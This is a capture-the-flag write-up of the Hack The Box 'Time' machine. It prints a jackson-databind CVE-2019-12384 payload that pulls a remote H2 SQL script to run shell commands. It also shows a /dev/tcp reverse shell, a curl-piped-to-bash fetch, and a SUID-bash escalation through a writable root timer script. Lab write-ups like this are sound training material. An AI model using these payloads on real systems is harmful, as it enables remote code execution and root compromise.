writeup 2025-12-22 · 4 min read

Hack The Box Time Writeup (Medium Linux)

Medium Linux box. A jackson-databind validator falls to CVE-2019-12384 via an H2 RUNSCRIPT, and a root systemd timer runs a writable backup script.

Hack The Box Time Writeup (Medium Linux)

Summary

Time serves a JSON beautifier whose validate option is marked beta, and an empty object returns a jackson-databind stack trace. That library plus the box’s 2020 release date points at CVE-2019-12384, which abuses polymorphic deserialization to make logback open an H2 JDBC URL. The payload is rewritten without the outer quotes and escaping so the server sees a real JSON array, and its INIT=RUNSCRIPT clause pulls inject.sql from the attacking machine, which defines a SHELLEXEC alias and calls it. A first run proves execution with curl, and a second fetches and pipes a shell script back for a reverse shell as pericles. linpeas then shows three non default systemd units, where timer_backup.timer fires every ten seconds and ends up running /usr/bin/timer_backup.sh as root even though that file is owned by pericles. Appending chmod +s /bin/bash to the script and waiting for the next tick gives a SUID shell and root.

Lesson Learned

  • Use CVEDetails. Period. Use CVEDetails.

Web Server Enumeration

The web server offers me a json validator feature:

Web application offering a JSON beautifier alongside a beta validate option

I see that “Validate” is in Beta, and generally, when something is in Beta, it contains bugs. I input an empty json object ({}) and it gives me the following error message:

1
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

I head to CVEDetails.com and search for fasterxml. I’m specifically looking for CVEs from 2019 or 2020, which was around the time when the box was released:

CVE Details search listing the fasterxml vulnerabilities from 2019 and 2020

The only CVE from both 2019 and 2020 that has a public exploit is this one (CVE-2019-12384):

CVE Details page for CVE-2019-12384, the only one with a public exploit

I ultimately locate this github repository, containing exploitation steps for the vulnerability. I’ll basically create a “inject.sql” file with the following contents:

1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('curl 10.10.14.57')

This will allow me to execute arbitrary system commands when calling the SHELLEXEC() function above. This is how their json payload looks like to trigger the vulnerability:

1
"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"

Since this is wrapped in double quotes, and the double quotes inside it are escaped, the server will treat this as a big string if I send it as-is. I remove the double wrapping double quotes and unescape the ones inside. I also changed the endpoint to my machine (instead of localhost:8000). The final payload looks like this:

1
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.57/inject.sql'"}]

I start http server with a python to serve the inject.sql file:

1
python3 -m http.server 80

I use the payload against the website, selecting the “validate” option:

The jackson-databind payload pasted into the validator field

As you can see from the screenshot below, the server first grabs “inject.sql” and then executes the command i placed inside it (curl 10.10.14.57). The second request is from my arbitrary command:

Python web server logging the inject.sql fetch followed by the injected curl

I create “shell.sh”:

1
sh -i >& /dev/tcp/10.10.14.57/9999 0>&1

I start a netcat listener:

1
nc -lvnp 9999

I modify “inject.sql” to ultimately obtain a reverse shell:

1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('setsid nohup curl 10.10.14.57/shell.sh|bash &')

Sure enough I get it, and now I have a reverse shell connection on the machine as “pericles”:

netcat listener holding the reverse shell as the pericles user

Vertical Privilege Escalation

I run linpeas on the machine as “pericles”. Under the “backup files” section, I find the following entries:

linpeas backup files section listing the non default timer_backup units

More specifically:

1
2
3
-rw-r--r-- 1 root root 214 Oct 23  2020 /etc/systemd/system/timer_backup.timer
-rw-r--r-- 1 root root 159 Oct 23  2020 /etc/systemd/system/timer_backup.service
-rw-r--r-- 1 root root 106 Oct 23  2020 /etc/systemd/system/web_backup.service

These aren’t default files. This is basically a service that runs /usr/bin/timer_backup.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pericles@time:/home/pericles$ cat /etc/systemd/system/timer_backup.timer
[Unit]
Description=Backup of the website
Requires=timer_backup.service

[Timer]
Unit=timer_backup.service
#OnBootSec=10s
#OnUnitActiveSec=10s
OnUnitInactiveSec=10s
AccuracySec=1ms

[Install]
WantedBy=timers.target



pericles@time:/home/pericles$ cat /etc/systemd/system/timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target

[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service



pericles@time:/home/pericles$ cat /etc/systemd/system/web_backup.service
[Unit]
Description=Creates backups of the website

[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh

i can see the script it’s running is owned by pericles:

1
2
$ ls -l /usr/bin/timer_backup.sh                                  
-rwxrw-rw- 1 pericles pericles 88 Dec 22 21:45 /usr/bin/timer_backup.sh

The script has the following contents:

1
2
#!/bin/bash                                                                                   
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip

It’s saving the backup to /root/backup.zip, so root must be the user that’s running this script. I add malicious code to the script:

1
echo 'chmod +s /bin/bash' >> /usr/bin/timer_backup.sh

After a few seconds the script runs and now I can execute bash privileged:

1
/bin/bash -p

The screenshot below shows proof of compromise:

bash -p running as root after the timer applied the SUID bit

This post is licensed under CC BY 4.0 by the author.